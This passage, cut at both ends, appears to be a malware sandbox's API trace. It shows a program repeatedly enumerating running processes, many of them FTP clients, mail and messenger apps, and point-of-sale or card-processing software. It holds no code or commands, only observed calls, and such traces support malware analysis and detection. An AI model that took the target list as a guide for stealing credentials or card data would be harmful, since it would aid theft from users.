lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0212.761] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0212.763] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0212.765] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0212.767] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0212.768] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0212.775] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0212.777] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0212.780] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0212.781] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0212.783] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0212.787] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0212.789] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0212.791] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0212.793] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0212.794] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0212.796] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0212.799] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0212.802] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0212.805] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0212.808] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0212.811] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0212.813] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0212.816] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0212.819] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0212.822] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0212.825] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0212.828] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0212.831] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0212.834] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0212.837] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0212.839] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0212.881] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0212.884] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0212.887] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0212.891] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0212.893] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0212.895] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0212.898] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0212.900] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0212.902] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0212.904] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0212.906] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0212.910] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0212.913] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0212.916] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0212.918] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0212.921] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0212.924] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0212.927] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0212.930] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0212.933] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0212.936] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0212.938] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0212.941] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0212.944] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.946] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0212.949] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0212.953] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0212.955] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0212.958] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0212.960] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0212.963] CloseHandle (hObject=0x11c8) returned 1 [0212.963] Sleep (dwMilliseconds=0x64) [0212.965] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0212.983] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.985] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0212.988] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0212.990] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.063] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0213.066] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.068] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0213.070] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0213.073] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0213.076] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.077] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.079] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0213.081] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.085] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.087] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.088] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.090] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.133] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.135] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.147] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0213.150] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, 